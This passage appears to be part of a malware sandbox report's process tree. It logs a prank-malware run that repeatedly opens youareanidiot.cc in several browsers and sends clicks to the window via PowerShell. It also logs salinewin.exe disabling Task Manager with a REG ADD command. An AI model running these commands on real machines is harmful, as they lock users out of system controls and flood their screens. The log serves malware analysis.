        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=3188,i,18087687198557987798,4724810919578161615,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=3200 /prefetch:1
        8⤵
        
        PID:1068
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6104,i,5855497648628559284,12076224407165723398,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:1
        8⤵
        
        PID:8088
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6320,i,14493765399344002186,16918468315802309335,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:1
        8⤵
        
        PID:7968
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6432,i,15005832457680634569,3654104723765223899,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:14
        8⤵
        
        PID:6924
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6344,i,8055824405519832323,3369011078745494168,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:14
        8⤵
        
        PID:6376
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5228,i,4735137729870651101,8815175361223060253,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:14
        8⤵
        
        PID:6360
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5172,i,14768577031956263890,5711773749485707928,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:14
        8⤵
        
        PID:6516
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=5356,i,10725237129029194315,3440440090056494574,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:9
        8⤵
        
        PID:8772
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=5308,i,11583793059839657053,8354833639969789892,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:1
        8⤵
        
        PID:8780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4480
        
        C:\Windows\system32\where.exe
        
        where msedge
        7⤵
        
        PID:4104
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:3884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4248
        
        C:\Windows\system32\where.exe
        
        where firefox
        7⤵
        
        PID:5660
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:4908
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        8⤵
        
        PID:2744
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1944 -prefsLen 27097 -prefMapHandle 1948 -prefMapSize 270279 -ipcHandle 2032 -initialChannelId {a708a930-df62-4c24-961b-2e0a409ee172} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        9⤵
        
        PID:6292
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2396 -prefsLen 27133 -prefMapHandle 2400 -prefMapSize 270279 -ipcHandle 2416 -initialChannelId {3a2625e4-b183-4521-8957-a30dc8008c96} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        9⤵
        
        PID:6344
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3956 -prefsLen 25164 -prefMapHandle 3960 -prefMapSize 270279 -jsInitHandle 3964 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3972 -initialChannelId {a7fed1af-8661-4625-81f7-78bc171d44c8} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        9⤵
        
        PID:6596
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4116 -prefsLen 27274 -prefMapHandle 4120 -prefMapSize 270279 -ipcHandle 4200 -initialChannelId {f5f39ea8-2362-4d6c-9556-412c9393fcb1} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        9⤵
        
        PID:6636
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2948 -prefsLen 34822 -prefMapHandle 2856 -prefMapSize 270279 -jsInitHandle 2860 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2768 -initialChannelId {8c7f046c-36a1-48d8-ab13-07ab4f5e5b32} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        9⤵
        
        PID:6828
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5104 -prefsLen 35010 -prefMapHandle 5108 -prefMapSize 270279 -ipcHandle 4776 -initialChannelId {a241f6f7-25b5-4f1f-8c55-ecba4c0df197} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        9⤵
        
        PID:7812
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5392 -prefsLen 32952 -prefMapHandle 5468 -prefMapSize 270279 -jsInitHandle 5448 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2456 -initialChannelId {0a618d4c-815b-4472-9f60-df1111d69e53} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        9⤵
        
        PID:8164
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5484 -prefsLen 32952 -prefMapHandle 5488 -prefMapSize 270279 -jsInitHandle 5492 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1124 -initialChannelId {ad578745-e54c-4aa6-aedb-85b731ef23cd} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        9⤵
        
        PID:8172
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5812 -prefsLen 32952 -prefMapHandle 5816 -prefMapSize 270279 -jsInitHandle 5820 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1116 -initialChannelId {f70e93b0-d874-4d99-8a3a-c210dd82b807} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        9⤵
        
        PID:8180
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 5984 -prefsLen 35062 -prefMapHandle 5988 -prefMapSize 270279 -ipcHandle 5996 -initialChannelId {e9e53c59-8770-4033-831b-28d2dc6d5fab} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        9⤵
        
        PID:8188
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5268 -prefsLen 32952 -prefMapHandle 4748 -prefMapSize 270279 -jsInitHandle 6508 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4708 -initialChannelId {0c2e4d71-d847-492a-ae34-bb78dae58000} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        9⤵
        
        PID:3320
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6244 -prefsLen 32952 -prefMapHandle 6340 -prefMapSize 270279 -jsInitHandle 6284 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6480 -initialChannelId {ccd41bbd-fbe4-4f25-9922-3337e7ef47b2} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        9⤵
        
        PID:3104
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6768 -prefsLen 36147 -prefMapHandle 6780 -prefMapSize 270279 -jsInitHandle 2848 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6796 -initialChannelId {44ca5cc1-3a2b-4b60-abe8-8ab7e2212947} -parentPid 2744 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2744" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        9⤵
        
        PID:8796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4072
        
        C:\Windows\system32\where.exe
        
        where brave
        7⤵
        
        PID:6744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8088
        
        C:\Windows\system32\where.exe
        
        where opera
        7⤵
        
        PID:7200
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7216
        
        C:\Windows\system32\where.exe
        
        where chrome
        7⤵
        
        PID:7536
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:7564
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffbe141c728,0x7ffbe141c734,0x7ffbe141c740
        8⤵
        
        PID:7684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7572
        
        C:\Windows\system32\where.exe
        
        where msedge
        7⤵
        
        PID:8080
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:8064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6920
        
        C:\Windows\system32\where.exe
        
        where firefox
        7⤵
        
        PID:7440
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:7288
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        8⤵
        
        PID:7704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7300
        
        C:\Windows\system32\where.exe
        
        where brave
        7⤵
        
        PID:2928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5416
        
        C:\Windows\system32\where.exe
        
        where opera
        7⤵
        
        PID:7728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7716
        
        C:\Windows\system32\where.exe
        
        where chrome
        7⤵
        
        PID:7496
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:7248
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffbe141c728,0x7ffbe141c734,0x7ffbe141c740
        8⤵
        
        PID:7216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7784
        
        C:\Windows\system32\where.exe
        
        where msedge
        7⤵
        
        PID:2052
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:7376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6364
        
        C:\Windows\system32\where.exe
        
        where firefox
        7⤵
        
        PID:4836
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:7716
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        8⤵
        
        PID:2296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2324
        
        C:\Windows\system32\where.exe
        
        where brave
        7⤵
        
        PID:8324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8584
        
        C:\Windows\system32\where.exe
        
        where opera
        7⤵
        
        PID:8496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8636
        
        C:\Windows\system32\where.exe
        
        where chrome
        7⤵
        
        PID:7176
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:8300
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffbe141c728,0x7ffbe141c734,0x7ffbe141c740
        8⤵
        
        PID:8316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8276
        
        C:\Windows\system32\where.exe
        
        where msedge
        7⤵
        
        PID:8700
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:3172
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9136
        
        C:\Windows\system32\where.exe
        
        where firefox
        7⤵
        
        PID:7848
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:8056
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        8⤵
        
        PID:8472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8308
        
        C:\Windows\system32\where.exe
        
        where brave
        7⤵
        
        PID:7836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8020
        
        C:\Windows\system32\where.exe
        
        where opera
        7⤵
        
        PID:8636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6188
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4540
        
        C:\Users\Admin\Downloads\ExtractedFiles\salinewin.exe
        
        salinewin.exe
        7⤵
        
        PID:2216
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
        8⤵
        Executes a command shell one-liner
        
        PID:8768
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
        9⤵
        Modifies registry key
        
        PID:3228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=2616,i,2920441813507136653,7669998333431132902,2097152 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:1
  2⤵
  PID:2684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6464,i,2548433159509271673,17219681132659530945,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=7428 /prefetch:12
  2⤵
  PID:436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=600,i,14462098253087277199,15381573043688162998,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=7588 /prefetch:14
  2⤵
  PID:7312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7360,i,10532575817299041915,3132931750193431857,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=7276 /prefetch:14
  2⤵
  PID:7320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4816,i,5655594133001638527,7282371741029569567,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:14
  2⤵
  PID:7328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=4764,i,1560989724196250325,13237308679899033428,2097152 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:1
  2⤵
  PID:2268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
